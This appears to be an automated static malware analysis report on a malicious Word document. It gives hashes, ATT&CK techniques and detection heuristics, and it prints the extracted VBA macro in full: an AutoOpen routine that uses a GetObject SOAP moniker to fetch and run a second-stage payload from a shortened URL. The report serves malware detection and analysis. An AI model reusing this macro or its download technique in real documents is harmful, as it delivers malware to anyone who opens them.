Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1cf4124f741e195b…

MALICIOUS

Office (OLE)

115.5 KB Created: 2017-10-11 17:43:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 46700995928ea14f537d7efd3db92c4f SHA-1: b371cd578640b3a3fea3f903660d7da33c3bdcbf SHA-256: 1cf4124f741e195b1fbd0d5fcc0d607a6d18477ae21d6cde1c0baec397e651fa
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro executes a GetObject call, which attempts to download and execute a second-stage payload from the URL https://goo.gl/VzY7J3. This indicates a downloader or droppper functionality, commonly used to deliver further malware.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6347404-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6347404-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • https://goo.gl/VzY7J3In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 365 bytes
SHA-256: a15919fbafdc2494aef919f2e88ae7578b8d15a2aaf2cde43c50b28f27ecac24
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Set x = GetObject("soap:wsdl=https://goo.gl/VzY7J3")
End Sub

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